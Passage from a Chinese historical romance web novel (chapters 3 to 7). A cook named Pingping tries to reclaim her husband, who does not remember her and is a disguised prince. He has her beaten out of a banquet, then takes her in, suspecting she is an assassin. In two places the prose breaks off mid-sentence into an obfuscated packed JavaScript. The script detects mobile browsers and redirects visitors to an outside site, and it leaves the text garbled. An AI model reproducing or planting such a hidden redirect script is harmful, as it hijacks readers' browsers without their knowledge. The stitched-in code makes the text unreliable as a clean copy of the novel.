众厨娘女使顿时全围过来，上下左右扳着萍萍看，萍萍算是个大方人，此刻也被看得面红耳赤。 好在众人有度，打趣一会就各忙各的了，厨娘制膳，女使们端着果子离开。 萍萍这边，上过一回汤饼，刻把钟，有些宾客想吃第二碗，女使又过来补。 刻把钟后，那女使气喘吁吁再来：“萍萍，还要再下两碗。” “好咧！”萍萍掀开锅盖再下，沸水的热气蹿起，眼前一片氤氲。 胡家仆从不算少，但今日不仅宾客比预料多，百姓也来府门口讨彩头，一时间人手不够，女使等不得：“待会我要是忙不过来没来取，你帮我端过来！” “好！”萍萍透过雾气望去时，女使已跑得不见踪影。 能帮则帮，她下好汤饼，找了个盘子端过去。 伞宴吃了这么久，天色渐晚，但因为花光满路，箫鼓喧空，仍然好找路，萍萍穿抄手游廊，过三重垂花门就到院中。 瓶花果碟、珍馐酒盏，萍萍私下寻到刚来传话的女使，问是哪两位还要添汤饼？ “我端过去吧。”女使顺手接过檀盘，往右走。萍萍搓手转身，打算原路退下，脑袋随之左转，无意间扫见某桌边一抹荼白——那人正好侧对着她，露出半边脸。临座的少年扭着身子找那人说话，转眼就把人挡住。 惊鸿一瞥。 萍萍却倏地定住，身体发冷，胸.脯和双手都不自觉震颤。 4. 第四章 怎么会那样像？ 思君念君，魂牵梦萦。 她再也拔不动腿，就僵持这转了一半的姿势，扭曲站着，杏眼圆睁，一眨不眨。良久，形形色色的人在她身后来去、吵闹，却再也听不到。 她眼里只有少年终于说完话，坐正身子，终于再次得见熟悉容颜。 是他吗？ 她的心砰砰乱跳，越来越鼓噪剧烈，呼吸也彻底紊乱。 稀少的记忆突冒出新的一段：颌骨微凸，鼻梁高挺，一模一样的眉眼，还是他，仍穿记忆里最常穿的白袍，却星星点点全染血，仿若雪地梅花，那腰腹一处遍地红，里外浸透。她颤抖着手按住他的伤口：“阿湛、阿湛。” 她手上也全是血，好狰狞，像铁水一样烫，她慌乱了一阵，到后来两人似放弃挣扎，抱着说话，她的泪比断线珠子还落得快：“我是前世做了多少好事，今生能修来你……” 那人勾起苍白的唇，挤出一笑，尽力使声音不显虚弱：“是我前世修得好，才能和你成一对。” 筵席上，白袍人也侧首，后脑勺对她，但在转过去那一霎她瞧见他耳后小痣。 傍晚阴沉的天空突然出了太阳，一束日光直照到萍萍脸上，刺得她眼睛难受，禁不住眼泪夺眶。 止也止不住，默默地淌。 她压根没察觉先前的女使返回来。女使喊她不应，伸五指在面前摇晃。 还没反应，女使奇道：“你这是怎么了？怎么还哭了？望夫石啊？” 可不就是望夫石？ 前面正是她的夫。 萍萍闻言泪流得更凶。 此刻临近筵终，已有一小撮宾客陆续离席。她见自家官人旁边的少年也挪凳起身，不由心下一紧，下意识朝前扑去。 再不要分开！ 本来要去解手的袁未罗已经走出去数步，仍被吓一大跳。 萍萍从袁未罗身边擦过，扑入柳湛怀中：“官人！” 她仰起脑袋，凝视这张心心念念的脸，目光从左移右，顺着他的眉眼描摹，又折回，辗转流连。怎么看也看不够，却又有些不知所措，分唇呢喃：“官人。” 萍萍将侧脸缓缓贴上他的胸膛，紧紧贴着，摩挲，感受他的体温，而她的两只胳膊早在刚才抱住时，就已绕到他背后，牢牢箍住自家官人的腰，泪还在落，很快浸透他的圆领袍：“你终于来找我了，官人……” 萍萍忽觉手上一痛。 她低头，瞧见他正一点点抠开她的手指，将缠在他腰间的手掰开。 怎么了？ 萍萍错愕，才刚重逢，她手上甚至还没来得及浸染他袍角余温。 她本能拽紧不放，柳湛毫不犹豫加重力道，两声骨节脆响，萍萍疼得咬牙，忍不住抬头轻喊：“阿湛，你拽疼我了！” 兀地愣住。 她突然后知后觉地意识到，重逢至今，自家官人的脸上从未显现本分激动和欢喜，他的眸子是冷的，神色也始终淡漠。 平静得像置身事外的看客，只有微压的眉角才暴露几丝若隐若现的嫌恶。 怔楞间，萍萍的手被柳湛果决甩开，她的心也跟着一空。 甩掉粘在身上的“脏东西”后，柳湛后退半步。 萍萍被刺得眼睛发酸，又开始不受控地流眼泪。 “你们这是在做什么？！” 身后连呵了三、四声，萍萍迟钝转身，才发觉周遭已经聚拢不少人，台阶上立着一群男子，老少皆有，不认识，但看穿着，非富即贵。 萍萍吸了吸鼻子，抹干净眼泪。 人群中央的白发老翁急下台阶，抬臂温声：“究竟发生了什么事？” 此人正是林元舆，他在前厅吃酒，听闻响动，随众人回首，却见是一厨娘打扮的小娘子拥抱柳湛，顿时酒全醒了，放下酒盏，匆匆赶来。 林元舆一动身，胡忠恕等人也跟着走，胡忠恕见是林公长随被扰，还斥了两句。 萍萍启唇正要作答，柳湛却比她快些：“这位小娘子认错了人。” 他的嗓音柔和低沉，没有刻意讨巧却甚是动听，在场一些背对柳湛的贵客，原先想着长随厨娘，由他们去吧，此刻听了声音，心里痒痒，禁不住绕到前来见见声音的主人。 一瞥之下，人面比嗓音更令人痴怔，好些人定在原地。 萍萍却是另一番心境，柳湛的声音，就是记忆里不断回响过的，无比熟悉，自家官人的嗓音。 可泪眼朦胧，痴痴凝望，官人却再没有没有回应她一眼。 萍萍急得胸口起伏，不由自主朝柳湛那边走：“怎么会认错呢？阿湛，你不记得我了吗？” 柳湛反剪双手，轻巧左避。 “我是萍萍啊！” “阿湛，我是萍萍！” 一个激动，一个冷漠，围观的人尽瞧在眼里，已自咂出七七八八。胡忠恕儿子胡瑜是本地刑狱提点，比别人又多看一层——林公那长随右手始终反扣手腕，是按着袖剑，随时随地提防那小娘子。 胡瑜便在胡忠恕耳畔提醒：“爹爹。” 胡忠宽会意，眨了眨眼，胡瑜随即招呼今日来吃席的差人：“来人，将这厨娘乱棍打出去！” 差人们立刻上前，缚住萍萍两只胳膊，往背后反拧。萍萍一面挣扎，一面下意识向柳湛求救：“官人，救我！” 砰—— 一棍子狠击上萍萍后背，她站不住往前搀，口中续唤：“官人，救我！” 柳湛却无声后退，直至阶前，回头同林元舆等人淡道：“我不认得她。” 萍萍楞了一楞，这才意识到眼前的阿湛不会援救她。 这后知后觉令她极其难受，脚下发凉。 砰砰又是两棍，差人们下手极重，血腥涌上萍萍口中，她却不管不顾，只盯柳湛，记忆里亲密的夫君遥远伫立，冷若冰霜。 她一字一句吐道：“官人我是萍萍，你不记得我了吗？我们成过亲，拜过堂，行过礼，洞房花烛，挽臂交杯，约到……” 她本来要说“约到白头”，但至“洞房花烛”那句，周遭看客遐思翩翩，不禁都拿眼笑觑萍萍和柳湛，窃窃私语。 柳湛面上愠色一闪而过，瞥了林元舆一眼。林元舆会意，又转交待胡瑜父子。 “从前你说我们要在润州开汤饼店，还说……”萍萍咽了口血，还欲继续讲下去，胡瑜手下的差人已经操起地上不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133844|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁遗落的帕巾，掐开萍萍嘴巴，将帕巾强行塞.入口中。又抽了一条自己用过的汗巾，臭烘烘，在她脸上绕一圈，绑紧打结，萍萍两颊瞬间起了勒痕，无数话尽化呜呜。 砰！砰！ 棍棒继续往她身上招呼，拖拉着打出去，萍萍竟不觉疼，视线始终凝在柳湛面上——他静无波澜，仿佛在看一件不相干的物拾，是路边草木。 萍萍稍微被拖远，还未出院落，柳湛就已随林元舆等人转身回席。 萍萍被直直拖到门口，抬过门槛，往外一丢，顺台阶滚下去。 时已黄昏，但门前仍有不少百姓围观，凉风一吹，差人们酒气滋涨，倍感威风，便有差人忍拾级下来踢了一脚：“个小女昌妇，还敢搅胡公的喜事！” “贼虫，赶快给爷滚！” “要再见你寻衅滋事，巴巴攀附，打断你的腿！” 萍萍手撑着支起身，一仰下巴，口里的血就往喉咙滑。风吹碎发，脖颈雪白，好几名差人楞了一楞。 当中一位着实忍不住，跑下台阶，抬手摸萍萍脸：“小女昌妇是不是馋汉子了？” 差人只道长随她都主动贴上去，自己可是公差，又回忆萍萍方才宴上，一口一个官人，缠绵悱恻，唤得人心痒痒…… 萍萍别头侧身，及时躲开，差人愤恨，抡起腰间闷棍，要再揍萍萍。现在她没了束缚，脑子也比同柳湛在一起时清晰许多，哪还会做鱼肉，撒丫子就跑。 萍萍似乎比差人还熟悉润州城，眨眼就跑不见了。 “小娼妇！”差人忿忿骂了两句，返回胡府。 萍萍躲在离胡府不远，两家院墙的缝隙里，听着骂声渐小，消失，这才喘气。 哼，说什么寻衅滋事，明明动手的是他们这班差人！ 呲——缝隙狭窄，磨到萍萍的背。 她反手按了一下，差人们下手打的都是闷棍，皮不破，内里痛，估摸之后青紫现出来有得疼了。 但比起在西宁受的伤，算不得什么。 柳湛记不得她，自然陌生，这么一想，她觉得挨揍并不是官人的错。 萍萍心中只纠结：官人为什么不认她？ 他为什么还没想起来？ 怪自己，刚才又是激动又是哭，话没讲清，他二丈和尚摸不着头脑，哪里才能想起来？ 萍萍原地跺了下脚：一定要再见到官人！ 她便朝缝隙外钻，脑袋往胡府方向偏，方才围观的人都散了，胡府门口空荡荡只剩下石狮子。 再环视四周，府对街卖香饮子的茶坊和香料铺子中间，也有一道狭缝，比她现在躲的要宽些，里面塞堆了许多废弃竹筐。 萍萍飞快跑过街钻进竹筐里，盖好蔑盖，手抱腿蹲好——这里足够隐蔽，胡府进出一览无遗，哪怕门口停驻马车也不能完全遮挡她的视线。 萍萍禁不住无声笑了一下。 随着夜色降临，胡府的小厮搭梯点亮两檐灯笼。 胡府的铜门开了关，关了开，门前辞别的宾客们由多变少，空中的酒气也越来越淡，却始终不见柳湛出来。 渐渐到了深夜，整条街彻底静下来，月光照在青石板上，遥远听得几声犬吠。 5. 第五章 * 朱方巷，裴府。 男子鹤氅玉冠，仍是白日里那幅打扮。他在院中练剑，时而伏身，时而翻腕，姿态矫捷，恍若仙鹤，一柄七尺长剑既薄又锐，生起呼呼风声。 又有一长随打扮男子，蹑手蹑脚，踱入院中。 “阿郎。”长随轻唤。 鹤氅男子手中剑依旧挥舞不停，背对长随，并无中止之意。 长随便不敢再言。 半晌，鹤氅男子兀自启唇，冷声发问：“还没回来吗？” “没有。”长随摇头。 “后门呢？”鹤氅男子又问，手中剑仍未停，话音落地时纵身跃起，斜刺苍穹。 长随看得楞了一下，须臾，回过神来，赶紧回道：“小五一直在守后门，也不曾见萍娘子回来。” 早上阿郎马车只停前门，让萍娘子从后门溜了，晚间怎还敢犯同样错误？ 忽听得大门那边哐哐乱响，长随扭头道：“可是小五有消息了？” 却见一矮个男子慌慌张张，狂奔而来，不是小五，而是家中另一名长随小四，到阿郎近前，气喘吁吁：“阿郎，萍娘子、萍娘子大闹伞宴，被胡家撵出去了。” 鹤氅男子闻言转身，挽个剑花，一道清光闪过众人眼前。他将长剑收入鞘中，抿唇沉声：“细说。” * 走开呀，走开。 萍萍心和身子都绷得紧紧的，不住默念。 筐外面停驻了两只野狗，黑皮利牙，乍一看跟狼似的，一直嗅筐。 她不敢发出一点声音。 从西宁回润州的路上就曾惹过野狗，那时候她不懂，被四、五只包围了还径直往前走。它们两腮抖着，发出呼呼的声音，后腿一蹬，就朝她扑来。 现在她早学乖了，它们只是在找吃的，不主动招惹，它们便也不会来针对自己。说到吃的，她这会也饿得厉害，本来厨娘们是有一桌宴席的…… 咕—— 萍萍肚子发出一声叫。 呵吼—— 原本低头的野狗齐刷刷扭头盯向竹筐，满身的毛都竖起来，龇牙咧嘴，眼睛血红。 萍萍透过竹筐缝隙，与它们四目相对。 她屏住呼吸，大气不敢出，同时能听见自己清晰的心跳。 “汪汪！”野狗乱吠。 萍萍手往地上摸，期望能在这筐中摸到几颗石子，突然几声猫叫，把野狗的注意吸引过。 “汪汪！”汪汪去朝着屋顶上吠了。 “关门关窗，防火防盗！”打更人敲着锣鼓从旁经过，野狗们许是之前被他打过，立即停了犬吠，四散奔逃，钻入背巷。房顶上的猫也不叫了，打更人继续敲锣：“关门关窗，防火防盗！” 二更了。 萍萍默默对自己说。 往常这会，是她出摊前最后的睡眠时光，但今晚整宿没睡，却没有一丝一毫困意。她的眼睛不自觉粘在胡府的大门上，毫不觉累，总觉得下一刻，自家官人就会从门后走出来。 润州没有宵禁，但到了二更天，也没了行人。偶尔猫狗和打更人，寂寥经过。三更时分，闹哄哄出来一大拨差人，互相搀扶还东倒西歪，连府门口吊的灯笼都被带着摇摆。 差人们胡言乱语，撒着酒疯，甚至有几个猫腰吐的，臭烘烘的酒气瞬间弥漫整条大街。 萍萍屏息。 她一眼就认出这帮差人里有打她那几个，愈发不敢出声。 府门口，差人们还在骂骂咧咧：“你个撮鸟，怎么吐我身上？” “你睁开狗爷瞧瞧，你太爷我隔得十万八丈远，怎么可能溅到！” “那我脸上怎么有唾沫？咦……这身上又有了？哎呀，是落雨了！” “蠢材，快闭了你的鸟嘴吧！” 下雨了？ 萍萍仰头，有筐盖挡着，暂时没感受到。但不一会儿，雨就变大变密，从竹篾的缝隙间渗透进来，地上湿了，萍萍的头发和衣裳也湿了，她却并不恼，反而庆幸这雨没有早上的大。 雨滴从青石板上溅起，夜里湿寒，成了水雾，朦胧一片。 屋顶上，一道黑影脚不沾地，逐渐飞近。那人已将鹤氅换成夜行衣，耷拉着眼皮一遍遍俯扫街道。 氤氲的雾气恰好遮蔽萍萍藏身竹筐，男子扫了一圈没寻见，便逆风乘雨，往别处寻。 萍萍躲在竹筐里守了一夜。 天放亮后，街上的人车渐渐多起来，不少她熟悉的屠户推着送猪肉的货车，来往经过。萍萍咬唇，抑下打招呼的冲动，只盯胡府。 又不知过了多久，铜门对开，萍萍圆眼倏地一亮。 一大群人簇拥着中央的白发老翁出门，她家官人虽然被挤到角落里，但因生得高，仍能露出一张俊脸，她一眼就捉住了他。 昨夜，柳湛随林元舆在胡府住了一宿。 胡忠恕软磨硬泡才留住贵客，自然隐情妥帖，供奉上佳，莫说林元舆，连柳湛这个“长随”铺盖挂帐，用的也无一不是江南绝一品的桑丝云锦，胡忠恕担心众人着凉，今年已经停了的地龙客房里统统重烧起来。 柳湛这一宿除却警惕，睡得尚可，夜里沙沙小雨，见叶动却不感凉风，反倒有几分前朝“春水碧于天，画船听雨眠”的惬意。 辰巳早膳，胡忠恕颇为用心，除却本地特色的粢饭糕、萝卜丝饼等等，还额外多备东京的汤饼，乳糖圆子和澄沙团子，口味地道，以解林公思乡之情。 琳琅满目，摆满一桌。 等到出门，胡忠恕又亲自送到门口，望见阶下停的数辆马车和行李，林元舆脸色一愣，迅速瞟了眼柳湛，也迅速向着胡忠恕抬手，撇清嫌隙：“胡兄这是何意？” 胡忠恕笑道：“今日，正好带您去看看我们润州三景——金山、‘潮落夜江斜月里，两三星火是瓜州’，一过对岸便是扬州，再往上，去杭、越、湖、婺，下至毫、宿、楚、泰，当饱览尽。” 林元舆连忙摆手：“不必不必，哪能麻烦你们大费周章。” 胡忠恕便把手搭在林元舆臂上，按住道：“说得哪里客气话，您难得来一趟江南， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133845|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这个这个东道主就这么放您走，这招待不周，一辈子心里都放不下的！” 昨日宴上，林元舆自称告假散心，胡忠恕以为自己正合林公心意。 林元舆却想，这老狗，早晨一直不提践行二字，原来打得这般主意。 他此番是领官家密旨，督促太子扬州办事，哪容得旁人跟随，更担心胡忠恕闹这一出，太子嫌自己赴宴张扬，节外生枝。 之前因那兀然冒出的民妇，就已私下向太子赔了许多不是。 他心中许多惴惴和不愉，面上却热情反按胡忠恕胳膊，相护挽臂：“知道您身子骨硬朗，但您也说了，‘老朽’了，老夫要是还折腾你，要被大家戳脊梁骨的。”林元舆拍了拍胡忠恕臂膀，“您还是在家好好修养，含饴弄孙，不要劳累。” 胡忠恕仅迟滞一霎，就堆笑续道：“那让犬子陪着，您初到江南，人生地不熟的……” “阿瑜不点卯啊？”胡忠恕话还未说完，就被林元舆打断。 胡忠恕哑了须臾，眯眼笑得更甚。 两人都乐呵呵。 少倾，林元舆抬手捂嘴，凑近，胡忠恕会意，遣开左右，耳朵凑近。台阶上只剩下同行一干人等，林元舆才压低声音道：“老夫这趟下江南，其实是为着……一个难以启齿的心愿。” 胡忠恕静听。 “四十余年前，老夫曾有过一段旧情，楼台月下，原该美满，却因老夫一己之过，小桥冲雨，铸错分离。听闻她之后回了江南老家，却不知具体归于何处，老夫这趟来就是为再探得她的消息，消弭半生耿怀半生。老夫在菩萨发过愿，要亲力亲为，方才能找着。旁人助力，恐愿不真。” 林元舆说完已自红了耳根：“家丑，惭愧，见笑了。” “怎会怎会！”胡忠恕忙摆手，心道人逾花甲，那小娘子只怕已作古，面上却正义凛然，眸中更燃熊熊希望之火，“林公这趟一定能寻得！遂愿！” 林元舆抿了抿双唇，似笑非笑。 话到这个份上，胡忠恕哪还会再陪着，当即放了林元舆一行人自行离去。因着林元舆说润州城里也要找一找，便连胡家的马车都没乘，一行人拐至旁的街道。而萍萍，怕围观多官人脸臊，听不进解释，记不起来，自己又讨一顿打，便摁下激动，在筐内多躲了一会，目送柳湛离去，街面上没有胡府的人了，才抬筐出来。 夜里冷时，她抱臂自暖，这会一举，才发觉胳膊僵了。 站起身，腿也麻着，如万只蚂蚁咬噬，萍萍双手抱着大腿，艰难跨出筐，再扶墙抱腿，艰难挪动一步。 眼看柳湛的身影又拐了个弯，从白点变成看不着，萍萍生怕跟丢，竟不知道哪来的精气神，一宿不眠不食，竟还能撒丫子狂追。 昨夜落雨积水，她没看路，一脚踏进泥洼，鞋袜顷刻湿透，裙也脏了。 萍萍不管不顾往前跑，待追上柳湛时，正好背街只他们一行人，袁未罗正问林公，他讲的往事是真是假？萍萍兀地冲前大喊：“官人！” 而后，再次径直扑向柳湛怀中。 6. 第六章 柳湛早在萍萍出声前，就已俱察觉。 彼时刚拐进这条巷子，他还踱在袁未罗和林元舆身后，似听说笑，就已微阖眼皮，左手反扣手腕，悄然按住袖剑。 听来人的脚步声，觉气息，像是个不会功夫的，却跑得极快，索命一般。柳湛挑了下眼皮，稍微侧身，像是更认真听袁未罗发问，实则余光偷窥巷口。 只一眼，陌生又熟悉。 柳湛楞了须臾，想起来这是昨日宴上莫名同他攀亲的小娘子，眉头几不可察地皱了下。 一而再，再而三！ 吃了熊心豹子胆！ 她谁派来的刺客？ 官家？皇后？还是别人？ 柳湛促起狭眸，仔细打量萍萍。 先依据她的发髻衣着，气息轻重，四肢姿态，判断是否藏有暗器？ 和昨日宴会上一样，没有。 还不会武功，不像是来直接刺杀。 硬的不行来软的，那……难不成是美人计？ 柳湛禁不住在心底轻笑一声。 本朝女子以纤瘦为美，而眼前这位却身段丰腴。柳湛自幼宫中长大，来往所见，美人如云，相较之下，她着实称不上美，只能勉强说一个眉目清秀。 “官人！”萍萍拢前呼唤。 “不得无礼！”女使蒋音和率先呵斥，紧跟着走在最前头的袁未罗也跑回来，拦住萍萍：“不得无礼！” 他重复蒋音和说的话，又咄叱：“哪里来的泼妇在这大呼小叫？” “不、不，小哥您误会了。”萍萍连忙摆手。她因为昨日被撵，是因为自己哭哭啼啼，激动之下，没讲清楚原委，官人哪怕失了忆，也是明事理的人，于是此时此刻，于是勉力镇定情绪，温声解释：“叨扰了诸位，着实抱歉，但奴家的确不是有意冒犯，亦未乱喊。这里头有误会……”萍萍扬高嘴角，伸手不打笑脸人，“我是来找我家官人的。” 她说到此，视线就不自觉离开袁未罗，落到柳湛脸上：“但……他可能……记不得我了。” “大胆民妇！”话未说完，就再次被蒋音和厉声打断。这一声远比方才尖锐，尾音都劈哑了。一时同行的袁未罗、乃至林公林元舆，都诧异望向蒋音和，不知她缘何这般激烈。蒋音和也自知失仪，用手肘拐了下身旁的蒋望回，似责问哥哥怎么不挺身而出，又好像想让他帮她。 蒋望回右手攥着剑柄，双唇分合，似欲言又止，林元舆见状便欲斡旋，撵走小娘子，却陡然窥见柳湛抬手，林元舆瞬间合上唇。 柳湛摆了摆手，淡道：“先把她带回去。” 说罢便转过身去，“惊喜”自己送上门，岂有不收之理？ 他倒要看看，是哪个给安排的这一出？ “你终于肯听我说话了。” 柳湛突然听见那小娘子开口——哪怕极力镇定，掩藏情绪，仍抑不住说话之人语气里的颤抖和酸涩，像是谁捏着她的鼻子，揉着她的眼在讲。 柳湛虽面色恬淡，心却又一霎莫名愕然，他缓慢回首，正对上萍萍痴望的一双眼。 萍萍鼻子酸得太厉害了，她心里一个劲喊着别哭别哭，要镇定，眼泪却不由自主一颗颗往下掉。萍萍不得不扬起下巴，仰脖望天。 柳湛睇她须臾，微微一笑：“待会我们好好聊聊。” 这下萍萍的泪库开了闸再也合不上，直往下淌，今天的太阳可真好，她隔着一层泪都能看清楚，雨后初晴，空气清新，这条巷子里的两株梧桐树叶子油绿，巷口那家人种了棵梨树，开花似雪，随风往这边吹，散落漫天。 萍萍眼睛越哭越亮，努力抑下，飞快抹了一把眼，冲柳湛漾起一笑，酒窝深陷。 柳湛淡淡噙笑，心道：此女演的，过犹不及。 他转身继续往前走，林元舆不紧不慢跟上，萍萍见状，亦拔腿要追——不用押解强迫，亦无需人引路，柳湛的背影就是她的磁石。 刚跑一步，一只胳膊兀地横在萍萍身前：“唉？唉——” 萍萍抬首，见还是方才出声，昨日宴会同柳湛挨坐的少年，便福身一笑：“小哥好。” 袁未罗吸气瞪眼：谁要同她打招呼？！ 自己是明晃晃来拦人的！ 殿下岂容蒲苇攀附，她有没有半点自知之明？ 还有小哥？ 自己已经年过十七，早已不是孩童！ 萍萍不知袁未罗气恼，已自行往左挪步，打算绕过他去追柳湛。袁未罗见状也往左移，伸长胳膊。 萍萍改右，袁未罗再拦。 萍萍止步，含笑施礼：“小哥，我要往前去，劳驾您让一让。” 袁未罗睁大眼瞅萍萍：这人不明白他的意思吗？ 竟能大大方方对视，坦然提要求？ 而且还笑！ 袁未罗犹如拳打棉花，噎得难受。 而萍萍则趁他分神的功夫，成功绕过去。袁未罗急忙追拦，脱口而出：“我劝你老实点，别打我们殿——” 差点说漏嘴，及时止住，眼下情形，又不能唤柳湛郎君，一时不知如何称呼，卡了半晌，含含糊糊：“你、你……别打歪主意啊！” 萍萍心里眼里只有柳湛，耳朵里传进袁未罗的警告，只笑着点了点头 袁未罗却以为她听训了，瘪了瘪嘴：“这还差不多，对了，叫什么？” 半晌，萍萍反应迟缓：“啊？我没叫啊？” 袁未罗咬牙，他问的是—— 还未解释，萍萍已自醒悟，忙赔不是：“对不住对不住，我想岔了，我叫萍萍，萍水相逢的萍。” 袁未罗又问：“本地人？” “你还没告诉我你叫什么？”萍萍却反问，一个问题且换一个问题。 她想问问官人新交的朋友，官人这几年都在作甚么。 “你！” “够了，阿罗。”忽有人低低打断。 男声从萍萍头顶上发出来，她恍觉自己鬓角的碎发都被这声音吹起，不由仰头张望，又因碎发扫着眼睛，便眨了眨眼——高大魁梧的男子，穿着和自家官人样式相仿，颜色不同的圆领袍，不知何时来到她和少年身边。 这男子一同萍萍对上眼，就即刻垂下脑袋，眼瞅地上的青石板。 他盯着地面，却同袁未罗讲话：“万事待会再说。” 袁未罗缩肩：哎呀，糟糕！多谢蒋殿卫提醒！ 殿下交待了，要把这萍娘子先带回去，那自然是殿下亲审，哪轮到自己，一个内侍越俎代庖？ 方才见她冒犯无礼，自己一下气糊涂了！ 缩着肩膀瞅林云舆，正对上林公目光，他便啧舌垂臂，一溜烟小跑，追去林公左右。 转眼间，只剩下萍萍和魁梧男子。 她想，这人应该跟那少年一样，也是阿湛新交的朋友，便朝着魁梧男子颔首一笑，算作招呼，而后拔腿，要追柳湛，魁梧男子却在此刻发问：“娘子是有 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好大的胆，竟不惧人。 她笑着绕着麻雀，步伐愈发轻快，她发现男子依然跟在自己后面，便回头问道：“您是阿湛朋友吗？还不知怎么称呼。” 麻雀扑翅飞走，男子立定低头：“小底姓蒋，名望回。” “蒋望回。”萍萍呢喃，今人高山仰止，仰望孔门十二贤之首颜回，希望自己也能有颜回一星半点之材。 “那你的字岂不是‘希颜’？”她回头笑问。 本是句玩笑话，蒋望回脸上却无半点笑意，也没即刻低头，愣愣看了萍萍一会，才缓缓应道：“是。” 萍萍旋即告诉他：“我叫萍萍。” 知道了别人的，也要告诉自己的，一个回答换一个回答。 蒋望点了下脑袋，算作回应，而后目往左移，避开对视。他动作迟缓，还没移完萍萍就已回转身只眺前方。 众人揣测柳湛心思，审讯要寻隔墙无耳，清幽僻静，万不能入酒肆、茶楼，因此走了很长一段路，逐渐远离繁华。 期间萍萍回身又同蒋望回说过两回话，蒋望回皆低头隔着一段距离，言简意赅作答。众人最终挑了一家因为僻静，尚无人入住的久住。萍萍看沿路寻访问价，精挑细选，只有蒋望回在做事，沿路询房，便在入厢房后，两人独处时，到桌边亲沏一盏清茶，捧到蒋望回面前：“您辛苦了。” 双手捧高，将将到蒋望回心口位置。 蒋望回猝不及防，忘了低头，呆愣凝视。 片刻后，飞快后退，拉远距离，低头道：“娘子且请稍后。” “嗯。”萍萍点头。 蒋望回仍垂首，滑了下喉头：“你想见之人就会来与你见面，娘子且请稍后。” 萍萍心道，这人呆呆的，把同样的话重复两遍，但她自己也常犯呆，所以全无嘲笑之意。萍萍正要开口道谢，蒋望回却急速退了出去，也没有接她那盏茶，瓷盏仍捧在萍萍手上。 她无奈摇头，放下茶盏，坐在桌边专心等自家官人。 半晌，不闻门外响动。 萍萍胳膊搭在桌上，轻点脚尖，随时间流逝越点越快：阿湛怎么还不来呀？ 却不知柳湛此刻就伫在门外，只不过刻意屏了呼吸，不令萍萍察觉。 7. 第七章 他想听听这女子独自在房内做什么？ 是正布置机关？ 还是往茶点里下毒？ 柳湛听见的只有轻微却焦灼的拍脚和叩指声。 少倾，林元舆拾级上楼，由远及近，柳湛仍伫在门外，侧对林元舆，默抬右臂。他虽然面色平淡甚至称得上和善，却仍惊得林元舆心头一跳，下意识鞠了一躬。 林元舆望厢房，再窥柳湛，明白过来，无声告退。他屏了呼吸，蹑了手脚，其实哪怕跟他相伴下楼，也未必能听见声音，柳湛却觉脚步与呼吸一并聒噪，房内的女子定然察觉了动静。 既如此，没必要再站在门前了，柳湛手一抬，推门入内。 萍萍眼睛骤亮，倏地从椅凳上站起来。这屋子窗少，只临街一扇，还被关得严严实实，白日屋内就昏天暗地，柳湛推门带进一束微光，萍萍顿觉光芒万丈，无比明亮。 亮闪闪汇聚到她眼睛里，成了星潭。 萍萍先挑高眼皮望了眼柳湛耳后小痣，而后深锁他的双眸，含笑福身，像记忆里无数次那样柔声唤道：“官人万福。” 柳湛凝视萍萍面庞，沉默须臾，而后平缓开口：“这位娘子缘何一再认为在下是你的夫君？” “因为你就是我官人啊！” 柳湛默不作声，视线下移，落在萍萍的鞋袜和裙角上，方才在巷子里就有留意，鞋袜罗裙满是干了的泥点子，邋邋遢遢，仪容不端。 萍萍见他不回应，有些激动，脚下不自觉朝柳湛靠近：“化成灰我也认得！” 转眼两人只隔一个身位，柳湛身往后退，唇角却勾起，抬手笑阻；“小娘子切莫激动，你我先坐下，再说清楚。” 说着便往桌边走，看似客气引萍萍入座，实则迅速远离。 萍萍没那么多弯弯绕绕，官人让她坐，她就乖乖坐，快步跨到桌边。柳湛看她坐了，才在对面隔着一整张圆桌的圈椅上坐定。 他见萍萍投来一笑，犹豫一刹，回以一笑，本是敷衍，萍萍却觉他眸子清润，神色温柔，从前的官人又回来了，待会一定能说清。 她的心也暖了，静了下来，盯着柳湛，一笑再笑，柳湛不紧不慢别首，这脑袋一偏，视线就落到了圆桌上蒋望回准备的茶点，皆是些江南容易买到的果子：五香糕、镜面糕和酥油鲍螺。 应该都是新鲜的，不仅模样玲珑别致，还飘着幽幽甜香。 柳湛无动于衷，直到听见萍萍肚子咕叽了一声，在寂静的屋内格外响亮。 柳湛挑眉，指向茶点：“娘子要吃些么？？” “好啊！”话音刚落，萍萍就唰地站起，伸长手臂够了一只酥油鲍螺，双手捧到柳湛面前。 她笑嘻嘻：“官人你也吃。” 柳湛也笑，却是微笑不语：原来毒下在这只果子里。 萍萍却很是热情：“吃呀！”见柳湛不接，她又道：“这可是你最喜欢吃的。” 柳湛唇角仍泛笑意，酥油鲍螺要发酵了奶乳，混上蜂蜜、霜糖，熬之滤之漉之掇之印之，入口即化，甜而不腻，世人几无不爱，甚至有人称它为“沃肺融心，天下至味”，她把毒下来酥油鲍螺里，的确是好选择。 只是很可惜，官家嫌恶牛乳，宫中鲜少制酥，柳湛自然不会忤逆官家，吃得也少，更谈不上喜爱。 他笑她的计拙，徐徐启唇，正打算诱她先吃，却见萍萍顺手又抓了另一只鲍螺，塞进自己嘴里。 柳湛错愕，心中细究毒之微妙，眼睛扫向萍萍，那白花花酥油都沾在她嘴角上，好不讲究。 柳湛微微蹙眉。 萍萍依旧不察，只想着：官人莫不连酥油鲍螺也忘了？ 眸光一黯，口里香香甜甜的酥鲍也骤失味道。 